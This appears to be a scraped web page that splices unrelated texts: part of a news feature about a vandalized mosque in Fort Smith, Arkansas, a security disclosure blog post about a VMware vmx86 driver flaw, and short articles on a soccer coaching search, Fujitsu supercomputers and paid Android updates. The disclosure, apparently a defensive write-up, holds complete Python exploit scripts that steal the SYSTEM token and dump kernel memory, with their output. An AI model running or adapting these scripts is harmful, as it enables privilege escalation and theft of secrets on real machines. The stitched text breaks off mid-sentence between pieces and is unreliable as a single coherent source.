But time has scrambled those old lines. Latinos came here to work in the poultry industry. Pho shops dot the city’s main drag, property of Vietnamese who began arriving as refugees after the fall of Saigon. R & R’s Curry Express serves deliciously spicy North Indian food at a Finish Line gas station.
Muslims from different countries came, too — some to study, some to work in the city’s growing medical industry. Many had money. Hisham Yasin did not.
A Palestinian who grew up just outside Damascus in Syria, Hisham sold fruits and vegetables in an outdoor market. He came to the United States in 1996, joining his parents and an older brother. Hisham imagined Beverly Hills, but found himself in western Arkansas in a rotting house with rats and cockroaches. He washed dishes at the Golden Corral. His father collected cans. He and a brother, Abdul Rahman, opened a used-car business. They called it A & H Auto Sales.
Today, Hisham lives in a grand house in Fort Smith with sparkling chandeliers on the edge of a thick green forest of oak and pine. He is 49 and has the look of an affable neighborhood baker, with a big belly and a broad smile. He is giving his three children what he calls a “five-star life” compared with his own, which he says began at “below zero.” He follows the news about Syria daily. But Arkansas is his home. He considers the day he came to the United States — Feb. 11 — his birthday.
Hisham was one of the founders of the mosque that Abraham helped vandalize. They called it Al Salam — meaning “peace” in Arabic. Since 2009, it has been in a brick ranch formerly used as a law office. It is on a busy road, South 28th Street, between a library branch and a nursing home. The founders wanted it that way. They thought the Muslims of Fort Smith should be forthright and confident, not hiding somewhere off the beaten path. This, they believed, would gain the community’s trust and respect, maybe even help guard against the noxious stream of negative news about Muslims.
The truth was that until the vandalism, few people in Fort Smith knew that Muslims lived in their city.
Abraham did. He had gone to high school with Hisham’s older son, Wasim Yasin. They often ate lunch together in the cafeteria. Sometimes it wasn’t easy being Muslim in high school, Wasim said. But around Abraham, it was.
“Abraham was a good guy, a ‘whatever’ kind of guy, he never had any problems with that,” Wasim said. “You know how people can talk about Muslims. He came up to me and he said: ‘I’m with you, man. If anybody bothers you, just let me know. I’m your friend.’”
Months passed after the vandalism without contact from the police, and Abraham began to feel relief. He had only helped a friend, he told himself. “My mind was trying to let me off the hook,” he said.
But his dreams were less forgiving. In one, he was walking through a crowd of parents and their children. The children were looking at some writing and crying. “It was like one of those Scrooge stories,” he said. He could see the children, but they could not see him. He saw their frightened faces and woke up sweating.
Now, sitting in the Sebastian County jail, Abraham was not entirely surprised he had ended up here. Expectations for him were so low — at his church, at school, even in his own mind — that he sometimes saw the line of his life pointing toward prison.
But not like this. Not with swastikas. So Abraham decided to use another piece of paper the jail guard had given him to write to the mosque. He wanted to tell the people there how sorry he was for what he’d done. What, after all, did he have to lose?
He sat on the floor of the cell, and placed a yellow sheet of paper on one of the metal seats bolted to the wall. He did not know the mosque’s name. So he copied it, a letter at a time, from his paperwork.
“Dear Masjid Al Salam Mosque,” he began.
Countering a Dark Impulse
The sky was just brightening the morning of Oct. 20 when Hisham pulled into the mosque’s driveway. He liked to do his morning prayers there when he could. The quiet of the early hour was soothing, and he’d been told that praying at the mosque meant more rewards from God. But he had not come to pray this morning. He had sped there in his white Infiniti, carrying his gun, after receiving a distressed phone call from the imam.
Al Salam’s members had already been anxious. For months the year before, a man had sent the mosque disturbing emails. “Sharia is a cancer that must be eliminated,” the man warned, until someone called the Federal Bureau of Investigation. And the Republican presidential candidate Donald J. Trump was calling for a “total and complete shutdown of Muslims entering the United States.” Few thought that was possible, but it seemed to loosen some dark impulse in the land.
Rolling up to the mosque, Hisham saw the first swastika from the street, spray-painted in black on the bottom left corner of the small curbside sign. It was off-kilter, like a creeping spider.
There was more on the building: “Go Home” on the wooden front door, just above a babysitter-wanted sign. On the garage: “We Don’t Want You Here U.S.A.” And on one of the front windows, among profanities about Islam and Allah, a phrase Hisham did not recognize: “Deus Vult.” It is Latin for “It is God’s will” — a medieval rallying cry for the Crusades.
Hisham’s heart hurt. He thought about how little the vandals understood. America was the only true home Hisham had ever known. As a Palestinian in Syria he had been stateless. America gave him a country. America gave him a kidney, through a transplant. It gave him the dignity of being able to travel in the world. He still cries when he explains this.
“They never let me go to Dubai,” Hisham said, blowing his nose and wiping his eyes. “Then I went with my American passport, and they stand up straight — they say, ‘You’re welcome, Mr. Hisham!’”
At the mosque that morning, Hisham sprang into action like a rescue worker after an earthquake. He called the police. He called the mosque’s board members. He called journalists.
By early afternoon, the story was breaking.
Then something wonderful happened. The mosque’s phone started ringing, and didn’t stop. Churches called. A synagogue called. Buddhists called. So did residents who had seen the news or simply driven by. One man called, crying. His daughter had seen the graffiti on her way to work and told him about it. He said the vandals could not have been Christians. No true Christian would have done it.
Anas Bensalah, a mosque member who had taken the day off to help with the cleanup, told the man that he understood completely: That was exactly how he felt every time there was an attack by the Islamic State.
Over the next week, the mosque was snowed under with cards and letters. Some people brought flowers. Most of the letters were from Fort Smith and the surrounding towns, but some were from as far as Reston, Va.
Hisham was overjoyed. He kept them, as if they were jewels, in a drawer in his office.
‘A Big Heart and a Short Fuse’
The night the mosque was vandalized, Kristin Collins, 45, had been worrying about her white minivan. There was a knocking sound under the hood, and it sometimes lurched unexpectedly. She was afraid the transmission was going, and she could not afford to fix it. Her last job was at a day care center in 2013. She quit after her husband, who had Parkinson’s, began having trouble putting diapers on their 1-year-old. The next year, Kristin learned she had leukemia. She and her husband receive disability insurance — a total of about $1,700 a month to support them, Kristin’s son Abraham and his younger brothers, Noah Davis and Gabriel Collins.
Fixing the van was on a long list of things they couldn’t afford: the $25 monster costume that Gabriel, 4, wanted for Halloween; the several thousand dollars in back rent on their small brick ranch house. Kristin sometimes had to go to church food banks at the end of the month. And she had the sinking feeling she would have to rely on charity for a turkey on Thanksgiving, only a month away.
So when Abraham asked to borrow the van, she was reluctant. Kristin loved her son. At 20, he was still more a teenager than a man, with a sparse goatee and — at 5 feet 11 inches and 139 pounds — a boyish frame. He was outgoing, loved people and liked to show off his break dancing and singing. She remembers his sweet head, hair dyed green, asleep on her hospital couch during her cancer treatment. But he was also directionless and unemployed, and spent too much time drinking and smoking pot with his friends.
Kristin’s boys were so different. Her middle son, Noah, was shy and sensitive but also a striver. He rose many days at 6 a.m. to work at a sandwich shop downtown. He had a girlfriend and a car. Where Noah was determined, Abraham just floated through, escaping into comic books and cartoons.
Yet the brothers, only 15 months apart, were extremely close. As kids they played pirates, drinking sweet tea as whiskey on bunk bed boats. Abraham was protective of Noah, a frequent target for bullies with his surgically repaired cleft palate. Abraham was also quick to fight. At 9, he pummeled a boy who had made fun of Noah.
Something was lodged in Abraham from the beginning, like a shard of glass in his heel. Kristin says it came from his father, Hud Davis, who grew up in a violent home. He had one real leg and cartoon flames painted on his fake one, the result of stepping on a downed power line. To his friends, he was full of life. At home, he was cruel. Kristin remembers him grabbing her by the neck and slamming her into the laundry-room door.
Noah would sit on his toy dump truck and wheel himself backward into the closet to hide during the eruptions. Abraham remembers his father screaming that he would not have had to marry “your whore mother” if Abraham had not come along.
At 5, Abraham said, he got down on his knees in his bedroom and asked God “to take him and save my mom.” When his 33-year-old father died a month later, after a seizure, Abraham believed he was responsible.
As he grew older, Abraham had trouble controlling his anger. Hank Needham, the principal of Cavanaugh Elementary in Fort Smith, remembers him as a polite little boy — but one with an angry streak. He once threw a fit when the school took away his screwdriver, which had belonged to his father.
“He had a big heart and a short fuse, and he’d just start cussing,” Mr. Needham said. “He had an adult mouth in the second grade.”
Mr. Needham gained Abraham’s trust, and medication for hyperactivity helped smooth his moods. By the sixth grade, he was an all-star student. His picture still hangs in a hallway promoting good attendance: Abraham, in a yellow sweatshirt, grinning.
It didn’t last. By the time he got to Southside High, Abraham had made peace with his place in the social hierarchy. He was, as he put it, “one of the outcasts.” But he was O.K. with that. He did not crave being in the popular crowd, which would have been impossible anyway.
He didn’t have money for meals at the mall or the latest phone. He couldn’t afford fashionable sneakers or jeans; Kristin shopped at Goodwill. When Mr. Needham bought sneakers for Abraham one year, he expected the teenager to pick out the most expensive style. He chose a modest pair.
“He said, ‘Mr. Needham, that is not me,’” the principal remembered. “‘That is not who I am.’”
Abraham was himself with a small, tight group of friends, which included Craig Wigginton, a tall, intense teenager who lived in a small apartment across town. They bonded over their backgrounds. Craig had spent his early childhood on the carnival circuit with his parents, his |
00 00-00 00 00 00 00 20 00 00..@............ 8a401320 01 00 00 00 04 00 00 00-01 00 00 00 f8 15 40 8a..............@. 8a401330 00 00 00 00 00 00 00 00-05 00 00 00 4c 14 40 8a............L.@. 8a401340 16 00 00 00 00 00 00 00-01 00 00 00 00 00 00 00................ 8a401350 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a401360 00 00 00 00 00 00 00 00-00 00 00 00 08 00 00 00................ 8a401370 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a401380 1c 00 00 00 01 00 00 00-02 00 00 00 00 00 00 00................ 8a401390 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a4013a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a4013b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a4013c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a4013d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a4013e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a4013f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a401400 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a401410 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a401420 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a401430 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00................ 8a401440 00 00 00 00 00 00 00 00-20 15 40 8a.........@.
C:\Users\<removed>\Desktop>C:\Python27\python.exe kl-vmware-token-theft-poc1.py [+] Handle \\.\vmx86 @ 120 2a 53 59 53 54 45 4d 2a 00 00 00 00 00 00 00 00 ea 03 00 00 00 00 00 00 e7 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 eb 4c b6 26 75 20 06 00 df 34 85 eb 0 3 00 00 00 00 00 00 00 00 00 00 bc ff ff f2 0f 00 00 00 90 e8 b1 60 0e 00 00 00 90 e8 b1 60 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 70 00 00 00 00 0 4 00 00 00 00 00 00 01 00 00 00 4c 14 40 8a 00 00 00 00 08 12 40 8a 08 12 40 8a 14 12 40 8a 01 00 00 00 00 00 00 00 00 20 00 00 01 00 00 00 04 00 00 00 01 00 00 00 f8 15 40 8a 00 00 00 00 00 00 00 00 05 00 00 00 4c 14 40 8a 16 00 00 00 00 0 0 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 00 00 00 01 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0 0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 15 40 8a [*] caught system token
To obtain your current token, modify the address passed to pack() in the code shown below. If you enable /DEBUG, attach Windbg to the kernel and use!process 0 1 followed by!exts.token -n, you can verify that the code functions as shown above.
from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] Could not open handle, is user part of the __vmware__ group?" exit(1) print "[+] Handle \\\\.\\vmx86 @ %s" % (handle) NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40) inputBuffer = pack('<L',0x8a401270)+"\x41"*4 DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0x1dc) if (GetLastError()!= 0): print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError())) exit(1) data = create_string_buffer(0x1dc) if (ReadProcessMemory(-1,0x25,byref(data),0x1dc,byref(c_ulong(0))) == 1): kValue = "" for i in findall('..',hexlify(data)[::]): kValue+=i[::] kValue+=" " print "%s" % (kValue) if ("2a 53 59 53 54 45 4d 2a" in kValue): print "[*] caught system token" else: print "[!] could not read output memory." CloseHandle(handle)
This technique can be modified slightly to extract large sections of kernel memory as an unprivileged user.
from ctypes import * from struct import pack from sys import exit from binascii import hexlify from re import findall from time import sleep EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 # thanks to offsec for the concept # I re-wrote the code as to not fully insult them :) def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None kBase,kVer = getBase() NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0xffff)),0x1000|0x2000,0x40) kernelMem,address = "",kBase print "total size %s in %s calls" % (0xffffffff-kBase,(0xffffffff-kBase)/0xffff) while True: handle = CreateFileA("\\\\.\\vmx86",FILE_SHARE_WRITE|FILE_SHARE_READ,0,None,OPEN_EXISTING,0,None) if (handle == -1): print "[!] Could not open handle, is user part of the __vmware__ group?" exit(1) if (address == 0xffffffff): break else: inputBuffer = pack('<L',address) + "\x41"*4 DeviceIoControlFile(handle,0,0,0,byref(c_ulong(8)),0x81014008,inputBuffer,len(inputBuffer),0x25,0xffff) if (GetLastError()!= 0): print "[!] caught an error while executing the IOCTL - %s." % (hex(GetLastError())) exit(1) data = create_string_buffer(0xffff) if (ReadProcessMemory(-1,0x25,byref(data),0xffff,byref(c_ulong(0))) == 1): kValue = "" for i in findall('..',hexlify(data)[::-1]): try: kValue+=pack('B',int(i,16)) except: print "[!] could not pack() byte, skipping to the next byte" print "dumping 0xffff at %s, size so far %s" % (hex(address)[:-1],len(kernelMem)) kernelMem+=kValue fp = open("kernel.out","a+") fp.write(kernelMem) fp.close() address+=0xffff CloseHandle(handle) sleep(0.1) print len(kernelMem)
The technique illustrated above will write the kernel contents to a file named 'kernel.out' in the local directory with one caveat: I have yet to figure out a reliable way to validate the kernel-land address from user-land. This is something I shouldn't be able to do as an unprivileged user. As a result, a typical Windows BSOD will occur once an unallocated address is referenced. You can adjust the input address to something more interesting if you care to.
<removed>:<removed> <removed>$ hexdump -C kernel.out|more 00000000 66 1d b8 03 1c 38 ff ff ef 59 28 f0 2c b3 66 a0 |f....8...Y(.,.f.| 00000010 2c 38 b2 27 2c b3 66 1d b8 00 00 71 0e 9b ff ff |,8.',.f....q....| 00000020 ef da 28 f0 2c b3 66 a0 2c 38 34 27 2c b3 66 1d |..(.,.f.,84',.f.| 00000030 b8 00 00 01 04 9b ff ff ef 5c 28 f0 2c b3 66 00 |.........\(.,.f.| 00000040 00 f0 a2 ab d5 27 2c b3 66 1d b8 05 1c 38 ff ff |.....',.f....8..|
Interestingly enough, VMWare makes a comparison between __vmware__ and the Power Users/Administrator groups within Windows. I was particularly curious about this "The _vmware_ group is similar in concept to the Windows 2000/XP built-in Power Users group." and "Users in the _vmware_ group effectively have administrative privileges." My experience had taught me that neither a Power User or even Administrator could directly call memcpy() with a kernel address and get anything except a ERROR_NOACCESS. However, I decided to give them the benefit of the doubt and write some code to test the theory.
To do that, I simply modified the code shown above to calculate the address of the first entry in the HalDispatchTable and subsequently read that four-byte value using memcpy().
from ctypes import * from struct import pack from os import getpid,system from sys import exit from binascii import hexlify from re import findall EnumDeviceDrivers,GetDeviceDriverBaseNameA,CreateFileA,NtAllocateVirtualMemory,WriteProcessMemory,LoadLibraryExA = windll.Psapi.EnumDeviceDrivers,windll.Psapi.GetDeviceDriverBaseNameA,windll.kernel32.CreateFileA,windll.ntdll.NtAllocateVirtualMemory,windll.kernel32.WriteProcessMemory,windll.kernel32.LoadLibraryExA GetProcAddress,DeviceIoControlFile,CloseHandle = windll.kernel32.GetProcAddress,windll.ntdll.ZwDeviceIoControlFile,windll.kernel32.CloseHandle VirtualProtect,ReadProcessMemory = windll.kernel32.VirtualProtect,windll.kernel32.ReadProcessMemory memcpy = windll.msvcrt.memcpy INVALID_HANDLE_VALUE,FILE_SHARE_READ,FILE_SHARE_WRITE,OPEN_EXISTING,NULL = -1,2,1,3,0 def getBase(name=None): retArray = c_ulong*1024 ImageBase = retArray() callback = c_int(1024) cbNeeded = c_long() EnumDeviceDrivers(byref(ImageBase),callback,byref(cbNeeded)) for base in ImageBase: driverName = c_char_p("\x00"*1024) GetDeviceDriverBaseNameA(base,driverName,48) if (name): if (driverName.value.lower() == name): return base else: return (base,driverName.value) return None NtAllocateVirtualMemory(-1,byref(c_int(0x1)),0x0,byref(c_int(0x1000)),0x1000|0x2000,0x40) kBase,kVer = getBase() hKernel = LoadLibraryExA(kVer,0,1) HalDispatchTable = GetProcAddress(hKernel,"HalDispatchTable") HalDispatchTable -= hKernel HalDispatchTable += kBase HalDispatchTable += 0x4 try: memcpy(0x10,HalDispatchTable,0x4) except WindowsError as e: print "[!] caught error: %s" % (e) if (ReadProcessMemory(-1,HalDispatchTable,0x10,0x4,byref(c_ulong(0))) == 1): kValue = "" for i in findall('..',hexlify(data)[::-1]): kValue+=i[::-1] print "[+] HalDispatchTable+0x4(%s) == %s" % (hex(HalDispatchTable)[:-1],kValue) else: print "[!] could not read output memory.
GetLastError() == %s" % (hex(GetLastError()))
And then, I ran it. The output produced by executing the above code was as follows:
C:\Users\<removed>\Desktop>C:\Python27\python.exe kl-powerUser-kernelRead-testcase1.py [!] caught error: exception: access violation reading 0x82D393FC [!] could not read output memory. GetLastError() == 0x3e6
As expected, an error, ERROR_NOACCESS (i.e., 0x3e6), occurred. I subsequently ran this code from the context of a Power User as well as an Administrator, and in both cases, the results were identical -- access denied. In other words, the tests confirmed that neither context, in its normal/default state, is sufficient to achieve the same level of access as was achieved by a user in the __vmware__ group.
It is my understanding that an Administrator can only read kernel memory if the boot manager has /DEBUG ON and only through WinDbg/KD or equivalent APIs.
The API function memcpy() fails because it can only access memory addresses within the process executing the call. If this call is happening from kernel-mode, then the API call should function as suggested. This is not the case from user-land when providing the call a kernel-land memory address, regardless of whether the user is an Administrator or not.
Therefore, not only does this vulnerability reside in the kernel, but the evidence collected also fails to support VMWare's points of comparison. It can be concluded that the evidence better supports that the points of comparison are between __vmware__ and SYSTEM. To that end, it isn't sound security practice to provide Administrators with a mechanism to issue what is essentially a SYSTEM privilege, one which cannot easily be executed by even the Administrator, to a user with otherwise limited privileges.
Now, we know that there are ways that Power Users and Administrators can obtain SYSTEM privileges, but those ways typically involve clearing some additional hurdles. With this particular vulnerability, it's as though all hurdles have been set aside.
So, what can someone do for fun with this vulnerability? There are two cases I have thought of where this can be applied relatively easily to achieve some interesting results:
In my last post, I talked about a classic class of vulnerability known as write-what-where. While working on validating the shellcode used in that post, I had to use WinDbg to read nt!_token and a few other things from the kernel. An arbitrary read such as the one I have touched on in this blog post would allow an attacker to develop robust exploits that may leverage more than one vulnerability to accomplish their overall goal. Read about the Microsoft.DMP file format and craft some code to create files that can load into WinDbg. Interesting plug-ins for Windbg exist, such as Mimikatz.
While I can envision several methods for solving this vulnerability, one in particular is rather simple. The goal is to prevent an unprivileged user from being able to control the kernel memory address to be read. A FIFO queue could solve the issue by leveraging one IOCTL which will allocate and populate the required memory within the kernel, and add a pointer for that memory to the queue. A second IOCTL could then be used to provide the user with the memory from the address within the queue. This would remove the need for the unprivileged user to control the kernel memory address to be read, and thus, fix the vulnerability.
During the interaction our program manager had with VMWare, they provided a final response regarding the vulnerability; quoted with identifying information redacted:
Hi [KoreLogic], We have re-reviewed your report and we believe that this is not a vulnerability for the following reasons: 1) Users must be manually added to the privileged group _vmware_ 2) Default configuration of the product does not add users to this group 3) The permissions granted by this group are what is required for the product to function if authd service is not running. However, we do feel that the omission of the _vmware_ group in our documentation is a problem. We have written a VMware Knowledge Base article documenting the group, its effective permissions, and usage here: http://kb.vmware.com/kb/2089333 We would like to acknowledge your assistance with the issue and add following statement to the Knowledge Base article: VMware would like to thank from Korelogic, Inc. for working with us on documenting this issue. Please let us know which name to use in above acknowledgement. If you are planning on announcing the findings of your team, we would highly appreciate it you could refer to our Knowledge Base article. Thank you again for the report. ----
I personally derived one thing from this response. It's apparently considered a feature and not a vulnerability. I guess we're free to enjoy this newly documented 'feature' in VMWare Workstation! :)
All joking aside, I am slightly confused as to why VMWare has declined to patch this obvious issue. I do not maintain that this vulnerability is the worst out there right now (it isn't), but at the very least, I think it requires the vendor to take responsibility by creating an appropriate patch. I welcome a continued conversation with VMWare about this vulnerability and the concepts I think can help prevent exploitation from occurring.
When KoreLogic requested a CVE identifier for this vulnerability, MITRE indicated that none would be assigned.
Subject: Re: CVE-ID Request Date: Wed, 22 Oct 2014 19:04:12 -0400 (EDT) From: cve-assign@mitre.org To: disclosures@korelogic.com CC: cve-assign@mitre.org > The vendor's viewpoint is that it is not a vulnerability and therefore > no patch is needed. > > The type of attacker in this case is an unprivileged local user with > membership in the __vmware__ group. >> A vulnerability within the vmx86 driver allows an attacker to specify a >> memory address within the kernel and have the memory stored at that >> address be returned to the attacker. Thus, this is an arbitrary read due >> to improper input validation (CWE-20). There is no CVE ID assignment for this. From our perspective, the vendor is entitled to define a security policy in which this read access is considered an acceptable risk, given __vmware__ group membership.
If __vmware__ were the equivalent of Power User or even Administrator, I would agree with MITRE. My thought would be that having multiple groups effectively equivalent to each other is bad practice, but I can see not issuing a CVE for THAT. The vulnerability that I discovered, however, is not equivalent to a Power User or even an Administrator. It's a vulnerability that effectively grants SYSTEM access!
In my opinion, any use of the __vmware__ group as currently implemented is a risk, and unless you're comfortable giving away SYSTEM access, you should avoid this group entirely. Furthermore, I assert that this vulnerability clearly violates protection ring design principles. That being said, the fix is also pretty straight-forward: prevent unprivileged users from being able to control the kernel memory address and amount of data to be read.Add another name into the mix for the Colorado Rapids’ head coaching job.
Metro’s Kristian Dyer reported on Thursday that former Philadelphia Union and current US Under-17 national team manager is a candidate for the Rapids head coaching position. Colorado fired Pablo Mastroeni in August and are currently being led by interim head coach Steve Cooke.
The Denver Post reported and MLSsoccer.com confirmed on Wednesday that the Rapids had spoken with Columbus Crew SC assistant Josh Wolff, former Venezuela national team manager Cesar Farias, ex-Blackburn manager Henning Berg and Stanford University head coach Jeremy Gunn about the coaching job. A club spokesman said the club are looking to make a hire by Nov. 1.
Hackworth served as Union head coach from June 2012-June 2014, compiling a 20-23-14 regular season record in 57 games in charge. He served as a Union assistant for two-and-a-half years before getting the full job.
He’s currently in his second stint managing the US U-17s, who he will guide at the upcoming FIFA U-17 World Cup in India next month. Hackworth first served as US U-17 head coach from 2004-2007.Fujitsu seems to be on a roll at the moment when it comes to supercomputer breakthroughs. Only last week the Japanese company announced the “K computer,” a supercomputer capable of 10.51 petaflops and developed with the aid of the RIKEN research lab. This is significant because not only is it the first to break the 10 quadrillion operations barrier, it is also expected to top the charts for world’s fastest supercomputer when the list is updated this week.
Not content with being top dog once this month, Fujitsu has today announced the PRIMEHPC FX10 supercomputer. Its theoretical computational performance tops out at 23.2 petaflops based on deploying 98,304 nodes across 1,024 racks. For comparison, the K computer can scale to 88,128 nodes across 864 racks. Its theoretical computational performance tops out at 11.28 petaflops, well below the FX10.
At its heart the FX10 uses a SPARC64 IXfx processor running 16 cores at 1.848GHz. Memory capacity tops out at 64GB with a bandwidth of 85GB/s or 5GB/s between nodes. In its highest configuration the FX10 can be running a total of 6,291TB of memory. As you’d expect, the operating system is Linux based.
Fujitsu hopes to deploy fifty FX10 configurations over the next three years with availability starting in January next year. Customers will include any organization or company looking to carry out large-scale simulations. Examples include drug discovery programs, medical research, weather and natural disaster analysis, and new energy source development.
There’s no details on pricing, but as you can imagine this isn’t going to be a cheap system to deploy with costs escalating based on just how many petaflops of computation your company wants to achieve.
As for whether or not it will play Crysis. I’m going to take a chance and hazard a guess that it would with a few tweaks.
Read more at FujitsuAs the days and weeks continue to flow by like a lazy river, Android 4.0 Ice Cream Sandwich (ICS) is still stuck someplace upstream from the vast majority of users. The newest version of Google’s platform was first released back in November of 2011, and there are still only a handful of devices outside the flagship Galaxy Nexus that run it. Unlike some past updates, this one is a real departure for Android. The user interface has been totally revamped, the stock apps are better than ever, and system-level hardware acceleration is finally available.
It’s no secret that the update system for Android is a mess of monumental proportions. Not even Google’s efforts at I/O 2011 produced any concrete solutions. Many users waited the better part of a year for Gingerbread updates on their devices, and still others got no Gingerbread at all. With ICS being as important as it is, it’s time to talk about a radical step to make updates work — it’s time to pay for them.
Why things are so bad
Before Android phones, OEMs like Samsung, Motorola, and HTC were not in the business of developing software updates for existing phones. Consumers would go into the local mobile shop, and come out with a phone running software that was usually some degree of terrible. No one expected big feature updates; the phones were being sold as is.
Technically, when you buy a phone now, it is still being sold as is. Users can reasonably expect bug fixes and security updates, but major system updates? That’s not something most OEMs ever planned on delivering, and they struggle to do so now. Pre-smartphone devices almost never got updates; if anything, new batches of a device might have tweaked software, but that’s about it. It also doesn’t help that Google is still moving at warp speed with Android updates, leaving devices behind quickly.
For a device vendor to build an update for your existing device, it has to devote a lot of man hours to engineering and testing. Google provides the source code as implemented on its development device, usually a Nexus phone. It’s up to the OEM to take that code and replace the hardware access layer so it will run on a different device. Then comes the bug hunting, UI tweaks, and finally, certification. Certifying a new update is often the most time consuming part as it requires OEMs to work with carriers, and sometimes regulators.
For all this time and effort, the OEM will be lucky to earn some good will. The financial expenditure is unlikely to sell more of an outdated device, and users might not be happy anyway after lengthy delays. What if, however, there was a financial benefit for the OEMs and carriers to push out major system updates?
Why this is good for everyone
It might be hard to swallow, but the manufacturer of your phone is out to make money for its shareholders. The truth of the matter is that you’re not even the customer; the carrier is. Carriers buy thousands of phones at a time, and unless the carrier wants an update, there won’t be one because there is no one else to pay for it.
Imagine if, instead of burning money for little or no benefit, an OEM actually had a financial incentive to port ICS to its older devices. Instantly, the idea of updating phones goes from the customer service back-burner to the forefront of a company’s moneymaking strategy. If the system proves a success, carriers could get involved and have a taste of the update fees as compensation for deploying the update over the air.
This is more viable now than ever before thanks to the huge number of Android phones in the market. Samsung, for example, has sold over 30 million Galaxy S II phones since last summer. It has just started rolling Android 4.0 updates out to some countries, but most users are still waiting. If it charged just $10 for access to the update, that would be $150 million if only half of all users wanted an official update.
You’re probably saying, “I shouldn’t have to pay for updates!” Indeed you shouldn’t, but the experience will be better if you do. The obvious benefit is that the wait will be shortened because suddenly there is a payout at the end of the development process for the carrier and OEM. Getting millions of dollars out of existing devices could be some real motivation.
Device owners will also find that phones originally slated to die a slow death of attrition are suddenly on the update list. If an OEM failed to update a device capable of running a new version of Android, it would be like leaving money on the table. Smart business people are not likely to do that. So your phone will not only be updated faster, but it will be up-to-date longer. If Samsung could expect a few of your hard earned dollars, the original Galaxy S phones (which are still less than two years old!) would probably be headed for an ICS update rather than obsolescence.
Since the update itself is now a product to be sold to users, you could also expect them to be better quality. If the goal is to get users to buy the ICS update, an OEM will go out of its way to make sure things work well, and there are additional features to use as selling points.
Would it work?
For paid system updates to work, they need to be optional. If a user doesn’t want to pay $10 for newer software, they should not be berated with update notifications. Standard bug fixes should still be provided free of charge, though. The idea of paid updates is for the majority of users that don’t install custom ROMs and just want official updates. Those wishing to install ROMs should be permitted to do so.
OEMs that want to engage in paid updates should have a bootloader unlock solution for users that want to update on their own. HTC and Sony have bootloader unlock support, and Samsung allows it by default. Motorola is the odd man out with no unlocking tool. There is a danger that some OEMs might try to lock us into a paid update cycle.
